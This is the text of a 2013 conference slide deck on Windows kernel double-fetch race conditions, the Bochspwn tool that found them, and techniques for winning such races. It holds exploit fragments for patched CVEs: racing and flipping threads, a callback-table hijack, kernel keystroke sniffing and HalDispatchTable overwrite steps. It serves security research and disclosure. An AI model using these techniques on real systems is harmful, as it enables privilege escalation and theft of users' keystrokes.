Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns

Mateusz "j00ru" Jurczyk, Gynvael Coldwind
SyScan 2013
Singapore
Introduction
Who

• Mateusz Jurczyk
  o Information Security Engineer @ Google
  o Fanboy of Windows kernel internals
  o http://j00ru.vexillium.org/
  o @j00ru

• Gynvael Coldwind
  o Information Security Engineer @ Google
  o Likes hamburgers
  o http://gynvael.coldwind.pl/
  o @gynvael
What

• Understanding Windows kernel races
  o specifically those in user/kernel interactions

• Identifying races
  o The Bochspwn project

• Exploiting races

• Case study

• Final remarks
Why

• Local Windows security matters.
  o see Chrome sandbox bypass at pwn2own 2013 [1]

• Buffer overflows are \textit{relatively} well audited for.
  o race conditions are not.

• Tons of them in Windows
  o \textasciitilde50 fixed after direct reports to Microsoft (thus far)
  o between 10-20 fixed as variants

• Often trivially exploitable
WAT IZ DAT DOUBLE FETCH?
Basics of double fetch

Double fetch in kernel / drivers

1. Attacker invokes a syscall.
2. Syscall handler fetches a value for the first time to verify it, or establish relations between kernel objects.
3. Attacker in a different thread switches the number to be really really evil.
4. Syscall handler fetches the parameter a second time to use it.
Basics of double fetch (name)

Proper name:

time-of-check-to-time-of-use race condition.

Way too long.

Fermin used a shorter name [2]:

Double-fetch.

(In some cases there are more than two fetches, but let's settle for double anyway.)
An exemplary bug in a syscall handler

```c
PDWORD BufferSize = /* controlled user-mode address */;
PBYTE BufferPtr = /* controlled user-mode address */;
PBYTE LocalBuffer;

LocalBuffer = ExAllocatePool(PagedPool, *BufferSize);
if (LocalBuffer != NULL) {
    RtlCopyMemory(LocalBuffer, BufferPtr, *BufferSize);
} else {
    // bail out
}
```
Basics of double fetch (by example)

CPU 1 (user-mode)

xor dword ptr [BufferSize], 0x80000000

CPU 2 (kernel-mode)

mov edx, dword ptr [ebp-BufferSize]
push PagedPool
push [edx]  \[BufferSize = 0x00001000\]
call ExAllocatePool
mov edx, dword ptr [ebp-BufferSize]
push [edx]  \[BufferSize = 0x80001000\]
push dword ptr [ebp-BufferPtr]
push eax
call RtlCopyMemory

A user-mode thread winning a race against a kernel-mode code double fetching a parameter from user-controlled memory.
Basics of double fetch (by example)

- The *raced* value was a buffer size.

- Result: *kernel pool-based buffer overflow*
  - Exploitable EoP condition.

- The same can happen with *pointers* or any other data type.
The story
How it all started

• 2008: While looking at win32k.sys, j00ru found this:

```
.text:BF8C3120       mov     eax, _W32UserProbeAddress

...]
.text:BF8C3154       cmp     [ecx+8], eax
.text:BF8C3157       jnb     short loc_BF8C315C
.text:BF8C3159       mov     eax, [ecx+8]
```

• ECX is a user-mode memory address.

• [ECX+8] is the address being validated
  o later used in a "read" operation
How it all started

• The code basically translated to

```c
if (UserStructure->UserPtr >= MmUserProbeAddress) {
    // Exit
}
```

// Read from UserStructure->UserPtr

• Clearly, there was a race condition there!
  o Not a priv-escal one.
  o But perhaps an information disclosure?

• Noticed it, but didn't follow at that time.
How it all started

- Returned to the subject when rediscovered it a few months ago.

- Construct is specific to an internal Windows kernel mechanism called **user-mode callbacks**
  - nt！KeUserModeCallback, already caused a lot of trouble
  - ~40 related bugs found by Tarjei [4]

Fast forward to 2012
How it all started

• There are many instances of this bug all around win32k.sys
  o We found a total of 27.

• Turns out they are all exploitable!
  o You can read data from arbitrary kernel addresses within a user-mode application
    ▪ ... if you can hit the right timing in the race condition, of course 😊
Vulnerable routines (already fixed)

win32k!xxxClientGetCharsetInfo
win32k!ClientImmLoadLayout
win32k!CalcOutputStringSize
win32k!CopyOutputString
win32k!fnHkINDWORD
win32k!SfnINOUTLPWINDOWPOS
win32k!SfnINOUTLPPOINT5
win32k!ClientGetMessageMPH
win32k!SfnINOUTSTYLECHANGE
win32k!ClientGetListboxString
win32k!SfnOUTLPRECKT
win32k!xxxClientCopyDDEOut1
win32k!xxxClientCopyDDEIn1
win32k!fnHkINLPCKTCREATESTRUCT

win32k!SfnINOUTLPMEASUREITEMSTRUCT
win32k!SfnOUTLPSCROLLBARINFO
win32k!SfnINOUTLPSCROLLINFO
win32k!SfnINOUTLPUAHMEASUREMENUITEM
win32k!fnHkINLPMOUSEHOOKSTRUCTEX
win32k!SfnOUTLPTITLEBARINFOEX
win32k!SfnINOUTLPRECT
win32k!SfnINOUTDRAG
win32k!SfnINOUTNEXTMENU
win32k!fnHkINLPRECKT
win32k!fnHkOPTINLPEVENTMSG
win32k!xxxClientGetDDEHookData
Are there more?

And how to find them?
A double fetch bug can be described as an event that meets the following criteria:

- a linear memory access...
- ... initiated from ring-0 ...
- ... referencing memory writable from ring-3 ...
- ... twice (or more) ...
- ... in the same semantic context.

It's a memory access pattern, essentially!
Enter the **bochspwn**

- Bochspwn is an instrumentation module for Bochs for memory access pattern analysis.

- It works like this:
  - Start an OS (on Bochs + bochspwn)
  - Let it start (**it's slow** - more on next two slides)
  - Run anything that might invoke syscalls
  - Shutdown the system
  - Filter the outcome log
  - ... and get a lot of potential double-fetch bugs!

For more information, refer to the whitepaper. The tool itself will be released later this year.
Yep, it was slow.

Actual speed: 1-20M instructions per second
Windows 7 on bochs with bochspwn with a profiler...

...after 15 hours of booting
Stats: **bochspwn** vs Windows

- **89 potential** new issues discovered
  - + part of the initial 27 bugs were also rediscovered
  - All were reported to Microsoft (Nov 2012 - Jan 2013)
- **36 EoPs** (+3 variants) addressed by: MS13-016, MS13-017, MS13-031, MS13-036
- **13 issues** have been classified as **Local DoS** only
- **7 more** are being analyzed / are scheduled to be fixed
- The rest were unexploitable / non-issues / etc

Exploitation
Define the goal

Maximize the "WPS" (wins per second) rate.

The resulting violations are not discussed here: exploitation of buffer overflows and write-what-where conditions is a separate study.
Define the means

• Extend the attack time window
  o the problem of slowing down a portion of a kernel-mode code.

• Use optimal thread assignment
  o how many and which (trigger vs. flip) threads on which CPU.

• Use optimal "flip" operation
  o xor vs inc or add.

• Other tricks (e.g. process priority classes)
Attack window extension methods are by far most interesting.
Page boundaries

```
mov eax, [ecx]
```

- ECX is a controlled user-mode pointer.
  - points to cached memory, for simplicity.

- How to slow this down?
Page boundaries

- Place [ECX] across two adjacent pages.
  - Twice as many virtual address translations.
  - Twice as many requests to cache.
  - Additional cycles to concatenate values and so forth.

- Performance impact
  - ~1.85 cycles (aligned) vs ~4.23 cycles (across cache line) vs ~25.09 cycles (across virtual pages)
  - More than 5x of execution time increase for free!
Page boundaries

Test configuration: Intel i7-3930K @ 3.20GHz, DDR3 RAM CL9 @ 1333 MHz

We've used this configuration for benchmarks everywhere (unless specified otherwise).
Page boundaries

Is that all? Nope.

Can page boundaries help with the following?

```asm
cmp [ecx+8], eax
jnb bail_out
mov eax, [ecx+8]
```
Page boundaries

They can!

Imagine the following scenario:

32-bit dword fetched by win32k.sys twice.

byte flipped by a racing thread

page boundary
Page boundaries

Aligned access

cmp [ecx+8], eax
1. Virtual address translation of ecx+8.

jnb bail_out
2. Fetching data of ecx+8 from cache.

mov eax, [ecx+8]
3. Implementation of conditional branch.

4. Virtual address translation of ecx+8.

5. Fetching data of ecx+8 from cache.

time window
Page boundaries

Boundary access ((ecx + 8) & fff = ffd)

cmp [ecx+8], eax
jnb bail_out
mov eax, [ecx+8]

1. Virtual address translation of ecx+8.
2. Fetching data of ecx+8 from cache.
3. Virtual address translation of ecx+b.
4. Fetching data of ecx+b from cache.
5. Implementation of conditional branch.
6. Virtual address translation of ecx+8.
7. Fetching data of ecx+8 from cache.
8. Virtual address translation of ecx+b.
9. Fetching data of ecx+b from cache.
Disabling page cacheability

Let's stick to slowing down

```
mov eax, [ecx]
```

- Cached reads are the fastest ones available.
  - We want the opposite.

- Cacheability can be disabled for chosen pages
  - PAGE_NOCACHE in Memory API.
  - PAGE_WRITECOMBINE also disables caching (for different reasons).
Disabling page cacheability

- Fetches from RAM are **much** more expensive.
- Especially so, if we use misaligned addresses
  - Virtual page boundaries no longer matter.
  - RAM boundaries come into play.
    - much smaller: 8 to 64 bytes in width.
At this point, we can push a controlled memory reference to take up to $\sim500$ cycles.

Can we go further?
**TLB Flushing**

- It's difficult to further slow down the data-fetching process.
  - continuously swapping out to disk is not effective.

- This leaves us with virtual address translation.
  - *Page Table* memory reads are expensive.
  - *Translation Lookaside Buffers* (TLB) are used to cache virtual/physical address associations.
  - TLBs can be flushed (*INVLPDG* instruction)
    - thread context switches (preemption or *SwitchToStrThread*)
    - working set API (*VirtualUnlock* or *EmptyWorkingSet*)
TLB Flushing

• On a TLB miss, CPU performs a page walk
  o Introduces three or four extra reads from RAM
    ▪ influenced by PAE
    ▪ varies between x86 and x86-64
  o Further extends the completion time of an instruction by thousands of cycles.
TLB Flushing

![Graph showing CPU clock cycles vs offset within page]
TLB Flushing

- First reference to memory a region is extended to over 2,500 cycles.
  - All further accesses use cached TLB entries.

- Flushing the translation cache costs time
  - EmptyWorkingSet takes ~81,000 cycles on test machine.
  - VirtualUnlock takes ~900, has the same outcome.
    - This is less than the overhead it adds!
    - Practically always cost effective.

- Useful when there are user-mode memory reads inside of the attack window.
Thread assignment

• Soo... we extended the attack window from 10 to 10,000 cycles... what now?

• Given n CPUs, how to use them most effectively?
  o assume n ≥ 2

• Presence of *Hyper-Threading* changes things dramatically, let's consider both cases separately.
Thread assignment: approach

• Test scenario: six cores (Intel i7-3930K CPU as usual)
• We tested seven different assignment strategies
  o Chosen arbitrarily based on gut feeling
  o Each examined against a cached / non-cached memory region
• Used a custom user-mode app counting race wins against:

```c
void run_race(uint32_t *addr) {
    __asm("mov ecx, %0" : "=m"(addr));
    __asm("@@:");
    __asm("mov eax, [ecx]");
    __asm("mov edx, [ecx]");
    __asm("cmp eax, edx");
    __asm("jz @@");
}
```
Thread assignment with HT

- CPU #0 and #1, #2 and #3, #4 and #5 on the same physical chip.
Thread assignment without HT

- All cores physically separate.
Thread assignment: conclusions

• Regardless of Hyper-Threading, it is best to create n/2 pairs of (trigger, flip) threads, each pair targeting different memory area.
  o 1 thread per 1 cpu: no unnecessary context switches.
  o 1 region per pair: no unnecessary memory locks.

• With HT enabled, choose cacheable regions.
  o L1/2 caches are shared between both logical CPUs.
  o Faster access means more wins per second.

• With HT disabled, choose non-cacheable regions.
Flipping bytes

• Flipping thread code should be typically as simple as:

```
xor [eax], 0x8000
jmp $-4
```

• Either a binary (xor) or arithmetic (sub, add, mul) operation can be used for the flipping.

**XOR**

```
0000 → 8000 → 0000 → 8000 → 0000 → 8000 → 0000
```

**ADD**

```
0000 → 0001 → 0002 → 0003 → 0004 → 0005 → 0006
```
Flipping bytes - comparison

**XOR**
- Precise...
  - always 2 variable states (the good and the bad)
- ... but slow
  - odd number of flips required within the window
  - otherwise the value doesn't change

**ADD**
- Less precise
  - many variable states
  - you never know how the value changed between the two fetches
- Fast
  - Any number of flips is good.
  - 2 times more effective than XOR
Flipping bytes - comparison

XOR
• Bugs with binary decision
  o e.g. pointers

```c
__try {
    ProbeForWrite(*UserPtr,
                  sizeof(STRUCTURE),
                  1);
    (*UserPtr)->Field = 0;
} except {
    return GetExceptionCode();
}
```

ADD
• Bugs with relative relations
  o e.g. dynamic allocations

```c
Object = ExAllocatePool(PagedPool,
                        *UserPtr);
if (Object != NULL) {
    RtlCopyMemory(Object,
                  UserPtr,
                  *UserPtr);
}
```
**Other tips & tricks**

- Certain scenarios require further tricks
  - single-cpu configurations are significantly more difficult to exploit
    - rarely used
  - prioritization of attacker's threads over other threads in a shared system
    - thread / process priority classes
  - ...

- Insufficient time :(

- Be sure to check the whitepaper!
Case study
CVE-2013-1254 (remainder)

A whole group of issues (27 in total)

.text:BF8C3120 mov     eax, _W32UserProbeAddress
[...] 
.text:BF8C3154 cmp     [ecx+8], eax
.text:BF8C3157 jnb     short loc_BF8C315C
.text:BF8C3159 mov     eax, [ecx+8]
typedef struct _CALLBACK_OUTPUT {
    /* +0x00 */ NTSTATUS st;
    /* +0x04 */ DWORD cbOutput;
    /* +0x08 */ PVOID pOutput;
} CALLBACK_OUTPUT, *PCALLBACK_OUTPUT;
 CVE-2013-1254

• Construct responsible for fetching output data of a user-mode callback (`nt!KeUserModeCallback`)

• What happens next (for example):
  ```
  .text:BF8BC4A8   push  7
  .text:BF8BC4AA   pop    ecx
  .text:BF8BC4AB   mov    esi,  eax
  .text:BF8BC4AD   rep movsd
  ```

• The twice-fetched pointer is used as "src" in an inlined `memcpy()` copying into local buffer.
CVE-2013-1254

The potentially arbitrary value is always used as a read operand, never used for write.

Bad news: no kernel-space memory corruption.

So what's left?
CVE-2013-1254

Many things, in fact.

However, let's first win the race.
CVE-2013-1254

- Let's settle on win32k!SfnINOUTSTYLECHANGE
  - triggered by SetWindowLong(hwnd, GWL_STYLE, 0)

- To control ECX (the PCALLBACK_OUTPUT), user-mode callbacks must be hijacked and re-implemented.
  - Trivial, pointer to callback table found in PEB->KernelCallbackTable
We could hook \_\_fnINOUTSTYLECHANGE specifically
  - API indexes change between versions.
  - Other callbacks are not relevant, anyway.

Let's instead hook the whole table.
A generic implementation of hijacked user-mode callback handler.

VOID CallbackHandler(PVOID lpParameter) {
    NtCallbackReturn(&address[-8],
                     sizeof(CALLBACK_OUTPUT),
                     ERROR_SUCCESS);
}

CVE-2013-1254
Trivial racing and flipping threads.

DWORD RacingThread(HWND hwnd) {
    while (1) {
        SetWindowLong(hwnd, GWL_STYLE, 0);
    }
    return 0;
}

DWORD FlippingThread(LPDWORD address) {
    while (1) {
        *address ^= 0x80000000;
    }
    return 0;
}
CVE-2013-1254

Result

TRAP_FRAME:  8fa3fac0 -- (.trap 0xffffffff8fa3fac0)
ErrCode = 00000000
eax=800053fc ebx=00000002 ecx=002efff6 edx=00000000 esi=fffffffff edi=7ffde700
eip=922f3229 esp=8fa3fb34 ebp=8fa3fba4 iopl=0 nv up ei ng nz na pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010287
win32k!SfnINOUTSTYLECHANGE+0x14d:
922f3229 8b08 mov ecx,dword ptr [eax] ds:0023:800053fc=????????
Resetting default scope

LAST_CONTROL_TRANSFER:  from 828ecffb to 82888840
How to maximize wins per second?

- Windows 7 SP1 32-bit, VirtualBox 4.2.12 (4 core) @ Intel Xeon W3690 CPU @ 3.46GHz, Hyper-Threading disabled.

Previous techniques

- two (flip, race) pairs of threads, each on separate CPU
- DWORD on page boundary
- non-cacheable memory region
- TLB flushing
- xor used for flipping
- priority classes set to HIGH_PRIORITY_CLASS, THREAD_PRIORITY_HIGHEST
• Memory access right variations
  
  o For non-HT attacks with page boundaries, it makes sense to use PAGE_NOCACHE only for the first page.
    ▪ still extends time window, doesn't slow down the flipping thread.
CVE-2013-1254

By using the techniques, we achieved ~30 race wins per second.

(Your Mileage May Vary)
CVE-2013-1254

• The data from arbitrary location can be fetched back.
  o GetWindowLong(hwnd, GWL_STYLE)

• Classic read-4 condition.

• So, we can read ~130 bytes of ring-0 memory every second. what now?
CVE-2013-1254

Options

• Defeat Kernel ASLR... meh :/
• Defeat GS stack cookies (chained with stack overrun)
• Disclose disk encryption secrets (e.g. TrueCrypt key)
• Disclose pool garbage
  o nt, win32k.sys, tcpip.sys, ntfs.sys sensitive data
• Disclose NTLM hashes from registry
  o cached HKLM\SAM\SAM\Domains\Account\Users\?\V entries
• Sniff on peripherals (e.g. a PS/2 keyboard).
CVE-2013-1254

Let's sniff the keyboard.
CVE-2013-1254

• PS/2 devices (keyboard, mouse) each have an IDT entry
  o both interrupts handled by i8042prt.sys

kd> !idt
Dumping IDT:
...
61: 85a4d558 i8042prt!I8042MouseInterruptService (KINTERRUPT 85a4d500)
71: 85a4d7d8 i8042prt!I8042KeyboardInterruptService (KINTERRUPT 85a4d780)

• KINTERRUPT pointer is encoded in each IDT_ENTRY

kd> ? (poi(idtr + (61 * 8) + 4) & 0xffff0000) | (poi(idtr + (61 * 8) + 0) & 0x0000ffff)
Evaluate expression: -2052795048 = 85a4d558
**CVE-2013-1254**

- i8042prt.sys descriptors can be identified via `KINTERRUPT.ServiceRoutine`
  - The two closest to i8042prt.sys image base.
  - Base determined with `EnumDeviceDrivers`, `GetDeviceDriverBaseName`

- Mouse / keyboard can be further distinguished with `KINTERRUPT.Irql` and `SynchronizeIrql`
CVE-2013-1254

kd> dt _KINTERRUPT Irql SynchronizeIrql 85a4d500
nt!_KINTERRUPT
   +0x030 Irql : 0x5 ''
   +0x031 SynchronizeIrql : 0x6 ''

kd> dt _KINTERRUPT Irql SynchronizeIrql 85a4d780
nt!_KINTERRUPT
   +0x030 Irql : 0x6 ''
   +0x031 SynchronizeIrql : 0x6 ''

different IRQL = mouse

same IRQL = keyboard
CVE-2013-1254

A quick look into I8042KeyboardInterruptService

.text:000174C3  mov eax, [ebp+pDeviceObject]
.text:000174C6  mov esi, [eax+DEVICE_OBJECT.DeviceExtension]
...
.text:00017581  lea eax, [ebp+scancode]
.text:00017584  push eax
.text:00017585  push 1
.text:00017587  call _I8xGetByteAsynchronous@8
.text:0001758C  lea eax, [esi+14Ah]
.text:00017592  mov cl, [eax]
.text:00017594  mov [esi+14Bh], cl
.text:0001759A  mov cl, byte ptr [ebp+scancode]
.text:0001759D  mov [eax], cl
...
CVE-2013-1254

• The two most recent raw scancodes are always stored at offsets 0x14a and 0x14b of the keyboard DEVICE_EXTENSION.
  o Device extension at offset 0x28 of Device object
  o Device object at offset 0x18 of KINTERRUPT.

• The purpose is unclear
  o we have never detected the fields to be read from.

• Makes exploitation trivial.
CVE-2013-1254

- Approximately 630 four-byte reads to reliably locate keyboard IDT entry.
  - ~20 seconds for 30 hits / second.

- The key sniffing resolution is 60 presses per second
  - One DWORD read covers two scan codes.
  - Should be enough for the fastest typists in the world.

- Scancode conversion
  - MapVirtualKeyEx(MAPVK_VSC_TO_VK)
  - MapVirtualKeyEx(MAPVK.VK_TO_CHAR)
CVE-2013-1254

EXPLOIT DEMO
CVE-2013-1278

- Since XP, Windows comes with a feature called "Application Compatibility Database"
  - or "Shim Engine"
  - or "Apphelp" (short, internal name)
  - described by Alex in a series of posts [3]

- Provides with ways to hook certain API classes, among other things.

- Makes your Windows 98 SE applications work flawlessly in Windows 8.
CVE-2013-1278

If you have problems with this program and it worked correctly on an earlier version of Windows, select the compatibility mode that matches that earlier version.

Help me choose the settings

Compatibility mode

- Run this program in compatibility mode for:
  - Windows XP (Service Pack 3)

Settings

- Run in 256 colors
- Run in 640 x 480 screen resolution
- Disable visual themes
- Disable desktop composition
- Disable display scaling on high DPI settings

Privilege Level

- Run this program as an administrator

Change settings for all users

OK  Cancel  Apply
CVE-2013-1278

- **Apphelp** has cache
  - Associates shimming information with executable file paths.
  - In Windows XP, implemented by a shared section.
  - In Vista and later, handled by NtApphelpCacheControl.
  - Fast way to look up shimming data for commonly executed files.

- **NtApphelpCacheControl** supports several opcodes
  - ApphelpCacheLookupEntry, ApphelpCacheInsertEntry, ApphelpCacheRemoveEntry, ApphelpCacheFlush
  - ApphelpCacheDump, ApphelpCacheSetServiceStatus, ApphelpCacheForward, ApphelpCacheQuery
Let's look into ApphelpCacheLookupEntry in Windows 7...

PAGE:00631EC4 mov ecx, [edi+18h]
...  
PAGE:00631EE0 push 4
PAGE:00631EE2 push eax
PAGE:00631EE3 push ecx
PAGE:00631EE4 call _ProbeForWrite@12
PAGE:00631EE9 push dword ptr [esi+20h]
PAGE:00631EEC push dword ptr [esi+24h]
PAGE:00631EEF push dword ptr [edi+18h]
PAGE:00631EF2 call _memcpy

... same pattern in ApphelpCacheQuery
CVE-2013-1278

Translates to:

```c
ProbeForWrite(*UserPtr, Length, Alignment);
memcpys(*UserPtr, Data, Length);
```

so, a write-where condition.

- one shot one kill
- easy accessible
- trivial to win the race
## CVE-2013-1278

### Required input structure

<table>
<thead>
<tr>
<th>Offset</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x98</td>
<td>A handle to the executable file, e.g. C:\Windows\system32\wuauclt.exe</td>
</tr>
<tr>
<td>0x9c</td>
<td>UNICODE_STRING structure containing NT path of the file</td>
</tr>
<tr>
<td>0xa4</td>
<td>Size of the output buffer, e.g. 0xffffffff</td>
</tr>
<tr>
<td>0xa8</td>
<td>Pointer to the output buffer</td>
</tr>
</tbody>
</table>

subject to race
**CVE-2013-1278**

- Relatively large window makes it easy to get a hit.
  - Dozens of separating instructions (mainly ProbeForWrite)
  - Two simple threads on two cores are more than enough
    - One core would likely suffice

**TRAP FRAME:** a8646bc8 -- (.trap 0xfffffffff8646bc8)

ErrCode = 00000002

eax=a5f34440 ebx=82951c00 ecx=00000072 edx=00000000 esi=a5f34278 edi=f0405100
eip=8284eef3 esp=a8646c3c ebp=a8646c44 iopl=0 nv up ei pl nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010216

nt!memcpy+0x33:

8284eef3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

Resetting default scope
CVE-2013-1278

We've got the "where". What about the "what"?

8c974e38 00034782 00000000 00000000 00000000 00000000
8c974e50 00000000 00000000 00000000 00000000 00000000
8c974e68 00000000 00000000 00000000 00000000 00000000
8c974e80 00000000 00000000 00000000 00000000 00000000
8c974e98 00000000 00000000 00000000 00000000 00000000
8c974eb0 00000000 00000000 00000000 00000000 00000000
8c974ec8 00000000 00000000 00000000 00000000 00000000
8c974ee0 00000001 00000000 00000000 00000000 00000000
8c974ef8 00000000 00000001 11111111 11111111 11111111 11111111
8c974f10 00000000 00000000 00000000 00000000 00000000
8c974f28 00000000 00000000 00000000 00000000 00000000
8c974f40 00000000 00000000 00000000 00000000 00000000
8c974f58 00000000 00000000 00000000 00000000 00000000
8c974f70 00000000 00000000 00000000 00000000 00000000
8c974f88 00000000 00000000 00000000 00000000 00000000
8c974fa0 00000000 00000000 00000000 00000000 00000000
8c974fb8 00000000 00000000 00000000 00000000 00000000
8c974fd0 00000000 00000000 00000000 00000000 00000000
8c974fe8 00000000 00000000 00000000 00000000 00000000

size = 0x1c8
**CVE-2013-1278**

- Large buffer, uninteresting contents
  - mostly zeros
- Inserting new entries limited to `SeTcbPrivilege`
  - proxied through the **Application Experience** service (see `apphelp.dll, aelupsvc.dll`) in `svchost.exe`

```
3: kd> kb
ChildEBP RetAddr Args to Child
94389bb0 834584ea 94389bf4 80000ad4 94389bd4 nt!ApphelpCacheInsertEntry
94389c24 832838ba 00000002 030ef824 030ef8ec nt!NtApphelpCacheControl+0x118
...
030ef814 6fc41f5f 00000002 030ef824 00000000 ntdll!ZwApphelpCacheControl+0xc
030ef8ec 6fc4140b 0a2519d8 00001750 00000010 aelupsvc!AelpShimCacheUpdate+0x62
030ef990 6fc4150f 02e608e0 0f022a98 030ef9c4 aelupsvc!AelpProcessCacheExeMessage+0x297
030ef9a0 777b2671 030efa00 02e60a58 0f022a98 aelupsvc!AelTppWorkCallback+0x19
```
CVE-2013-1278

- Standard *write-what-where* vectors are impossible
  - 0x1c8 bytes of static or pool memory damage is irrecoverable.
  - No HalDispatchTable+4
  - No reserve objects / KAPC structure
  - ...

- How about... *Private Namespace objects*?
CVE-2013-1278

Private namespaces

- A security feature (sic! 😊) introduced in Windows Vista.
  - helps separate kernel object names (e.g. for different terminal sessions)

- Required API
  - CreatePrivateNamespace
  - CreateBoundaryDescriptor
  - ClosePrivateNamespace

- Built on top of a DIRECTORY kernel object.
CVE-2013-1278

Private namespaces - why awesome?

- Three advantages for exploitation
  1. Controlled length

```c
ObCreateObject(PreviousMode,
    ObpDirectoryObjectType,
    ObjectAttributes,
    PreviousMode,
    NULL,
    NULL,
    UserControlled + 192,
    NULL, NULL,
    Object);
```

no overflow :(
CVE-2013-1278

Private namespaces - why awesome?

• Three advantages for exploitation

  1. Controlled length
  2. Mostly controlled contents
  3. Linked into ObpPrivateNamespaceLookupTable with builtin LIST_ENTRY.
CVE-2013-1278

Private namespaces - why awesome?
CVE-2013-1278

Unlinking is triggered via ClosePrivateNamespace.

In Windows ≤ 7, this grants an easy 4-write-what-where.
CVE-2013-1278

ObpRemoveNamespaceFromTable (Windows 7)

```
PAGE:00674461  mov  [esi+0A0h], ebx
PAGE:00674467  mov  ecx, [eax]
PAGE:00674469  mov  [eax+8], ebx
PAGE:0067446C  mov  eax, [eax+4]
PAGE:0067446F  mov  [eax], ecx
PAGE:00674471  mov  [ecx+4], eax
```

LIST_ENTRY unlink pattern
CVE-2013-1278

ObpRemove NamespaceFrom Table (Windows 8)

PAGE:007360DA   cmp     [edx+4], eax
PAGE:007360DD   jnz     loc_7361BD
PAGE:007360E3   cmp     [ecx], eax
PAGE:007360E5   jnz     loc_7361BD
PAGE:007360EB   mov     [ecx], edx
PAGE:007360ED   mov     [edx+4], ecx

...  
PAGE:007361BD   push    3
PAGE:007361BF   pop      ecx
CVE-2013-1278

• Exploitation steps
  o Create private namespace
    ▪ acquire address via SystemHandleInformation
  o Overwrite LIST_ENTRY pointer with the 0x03?????? word.
    ▪ random damage is taken by user-controlled unicode.
  o Spray user-mode 0x03000000 - 0x03ffffff region with LIST_ENTRY structures (write-what-where operands)
  o Overwrite nt!HalDispatchTable+4 with a call to NtClosePrivateNamespace.
  o Run payload.
  o Clean up (hal dispatch table, list entry in namespace)
Windows 8 memcmp double fetch

• Memory comparison functions in Windows kernel
  o memcmp
  o RtlCompareMemory

• Different semantics
  o length of matching prefix vs relation between differing bytes

• Different implementations
  o between versions of Windows (i.e. 7 vs 8)
  o between bitnesses, x86 vs x86-64
Windows 8 memcmp double fetch

General scheme

1. Compare 32 / 64 bit chunks for as long as possible.
2. If any two differ, come back and compare at byte granularity.
   a. Return the result of the second run.
3. Compare the remaining 0 - 7 bytes, one by one.
4. Return result of the (3) comparison.
Windows 8 `memcmp` double fetch

General scheme

1. Compare 32 / 64 bit chunks for as long as possible.

2. If any two differ, **come back and compare at byte granularity**.
   
a. Return the result of the second run.

3. Compare the remaining 0 - 7 bytes, one by one.

4. Return result of the (3) comparison.
There is an evident double fetch in step 2. … but does it really matter?

(passing user-mode pointers to memcpy is insecure, anyway [5])
Possibly, if we could fake a match of two different streams.
Windows 8 memcmp double fetch

Usually doesn't matter (Windows 7/8 64-bit)

```
.text:0000000140072364 mov rcx, [rcx+rdx]
.text:0000000140072368 bswap rax
.text:000000014007236B bswap rcx
.text:000000014007236E cmp rax, rcx
.text:0000000140072371 sbb eax, eax
.text:0000000140072373 sbb eax, 0FFFFFFFFh
.text:0000000140072376 retn
```

translates to

return \(-(x \leq y)\)
Other implementations are similarly robust ...

... except for ...

... Windows 8 32-bit.
Windows 8 memcmp double fetch

```c
if (*((PDWORD)ptr1) != *((PDWORD)ptr2)) {
    for (unsigned int i = 0; i < 4; i++) {
        BYTE x = *((PBYTE)ptr1), y = *((PBYTE)ptr2);
        if (x < y) {
            return -1;
        } else if (y < x) {
            return 1;
        }
    }
    return 0;
}
```
Windows 8 memcmp double fetch

Attack scenario (phase 1)
Windows 8 memcmp double fetch

Attack scenario (phase 1)

ptr1 →

ptr2 →
Attack scenario (phase 1)

ptr1 →

ptr2 →
Windows 8 memcmp double fetch

Attack scenario (phase 1)

ptr1 →

ptr2 →
Windows 8 memcmp double fetch

Attack scenario (phase 2)

<table>
<thead>
<tr>
<th>ptr1</th>
<th>→</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>6</td>
</tr>
<tr>
<td>4</td>
<td>8</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
</tr>
<tr>
<td>5</td>
<td>3</td>
</tr>
<tr>
<td>7</td>
<td>9</td>
</tr>
<tr>
<td>5</td>
<td>3</td>
</tr>
<tr>
<td>6</td>
<td>3</td>
</tr>
<tr>
<td>6</td>
<td>1</td>
</tr>
<tr>
<td>6</td>
<td>e</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
</tr>
<tr>
<td>6</td>
<td>3</td>
</tr>
<tr>
<td>6</td>
<td>f</td>
</tr>
<tr>
<td>6</td>
<td>e</td>
</tr>
<tr>
<td>6</td>
<td>6</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>7</td>
<td>2</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>6</td>
<td>e</td>
</tr>
<tr>
<td>6</td>
<td>3</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>6</td>
<td>2</td>
</tr>
<tr>
<td>7</td>
<td>6</td>
</tr>
<tr>
<td>6</td>
<td>f</td>
</tr>
<tr>
<td>8</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>ptr2</th>
<th>→</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>6</td>
</tr>
<tr>
<td>4</td>
<td>8</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
</tr>
<tr>
<td>5</td>
<td>3</td>
</tr>
<tr>
<td>7</td>
<td>9</td>
</tr>
<tr>
<td>5</td>
<td>3</td>
</tr>
<tr>
<td>6</td>
<td>3</td>
</tr>
<tr>
<td>2</td>
<td>c</td>
</tr>
<tr>
<td>6</td>
<td>e</td>
</tr>
<tr>
<td>f</td>
<td>f</td>
</tr>
<tr>
<td>3</td>
<td>d</td>
</tr>
<tr>
<td>f</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>5</td>
<td>2</td>
</tr>
<tr>
<td>7</td>
<td>0</td>
</tr>
<tr>
<td>5</td>
<td>8</td>
</tr>
<tr>
<td>6</td>
<td>e</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>6</td>
<td>2</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td>0</td>
<td>f</td>
</tr>
<tr>
<td>6</td>
